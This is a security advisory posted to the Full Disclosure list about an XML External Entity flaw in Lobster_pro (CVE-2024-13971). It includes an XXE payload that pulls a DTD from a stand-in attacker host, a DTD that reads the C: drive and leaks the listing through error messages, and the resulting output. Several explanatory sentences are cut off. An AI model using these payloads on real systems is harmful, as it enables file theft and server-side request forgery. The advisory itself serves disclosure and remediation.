SCHUTZWERK-SA-2024-005: Arbitrary File Read and Server Side Request Forgery via XML External Entities in Lobster_pro (CVE-2024-13971)
David Brown via Fulldisclosure ·
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Lobster_pro
============================================================================================
arbitrary services.
Metadata
========
- - Affected product: Lobster_pro
- - Affected version: versions prior to 4.12.6-GA
- - Vendor: Lobster DATA GmbH
- - CVE ID: CVE-2024-13971
- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-13971
- - CVSS 4.0 score: 7.7
- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-005/
Details
=======
part of the customer's internet-facing assets.
application:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lbsterq [
<!ENTITY % lobster SYSTEM "http://attacker.tld/map.dtd";>
%lobster;
]>
<properties>lobster</properties>
listings or HTTP responses via the error message returned by the endpoint:
<!ENTITY % cfga SYSTEM "file:///c:">
<!ENTITY % eea "<!ENTITY % lobsterdata SYSTEM '#%cfga;'>">
%eea;
%lobsterdata;
listing:
<?xml version="1.0" encoding="UTF-8"?>
<core:ErrorResponse xmlns:core="CORESYSTEM">
<errorInfo>
<errorCode>500</errorCode>
<httpResponseStatus>200</httpResponseStatus>
<locale>en</locale>
<errorText>javax.xml.bind.UnmarshalException
- with linked exception:
Exception Description: An error occurred unmarshalling the document
Message: no protocol: #$Recycle.Bin
Config.Msi
[...]
pagefile.sys
PerfLogs
ProgramData
Program Files
Program Files (x86)
Programme
[...]
temp
Users
Windows
]</errorText>
<errorType>java.io.IOException</errorType>
<errorLevel>1</errorLevel>
</errorInfo>
</core:ErrorResponse>
recursive entity declarations, thus preventing data exfiltration.
Risk
====
hash.
Solution/Mitigation
===================
Update to Lobster_pro release 4.12.6-GA or higher.
Timeline
========
- - 2024-08-12 Initial contact with vendor
- - 2024-08-14 Vulnerability reported to vendor
- - 2024-08-14 CVE ID requested
- - 2024-08-22 Initial feedback received from vendor: unable to reproduce
- - 2024-08-28 Vulnerability demonstrated in vendor's "Community server"
- - 2025-07-03 Reserved CVE ID CVE-2024-13971
- - 2026-04-30 Advisory released
Credits
=======
The vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnzRmsaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsvxRAAkVaWMk/lJwfZi0Y0OWpr
5TQP/YCieTkxpkdiY0PF8dGApB3cp8ysschRAUgWIbeR7f1cj/4hbc3a1GxnZWV7
2gk1fdQieSdkJs8uBsKz0CeEasMztCI6KcmxWL+CMFHJoH+Q5Gd7MdOh1Og/zVgh
/UAAfzxihL0Gmx+gl6hpZVYSmqQctD4ogbmdQCU2mEuoHZRGLCzaiOtS8AZbOhvT
3IvC3ws3cQIAwzD7YH+5V+97cXqbFVnRoNL4YgJ9/pCHXinYZvL1JGL4Ob26/GvD
QfYqUOgpDsfr9GTZVSZT3S8pUVomMW9+FOjhpcOkRICkJ8cEdLhW5CIoaxweEcwE
PQSSC5QS5DIfVKgGo4lc0Oe9k3pT/dnH9iEfnV5hnq7+JgapQzqxNaf6BCZJX+ET
voIVVjyOYyP2Qzs4LSaArWxlcb0XR/DewW9qlvfnea4SfDkrG/hhRK3qBNrC83IR
IXmBTbp32Sfoh2X1W/frL4BtvIXkDirgF+sttAjoQKN3wVttuKj1JaM/BQ/pDf/N
pPAwaYzuuuf2Wv3NiBKIgB5tHuHKAQoKQPev7Z6pvDq0sB5ps9SRknIOEmfh/aoE
7aNztVHs+/6axCVKcuV7+qWv6HUwg4oDp78Lo9r8Oq/9rdbZ3TKtf/KWn4uT+sWw
Zk6o928sfQFlkXtTXRiGSwE=
=560Z
-----END PGP SIGNATURE-----
--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX
Phone +49 731 977 191 0
advisories () schutzwerk com / www.schutzwerk.com
Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer
Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/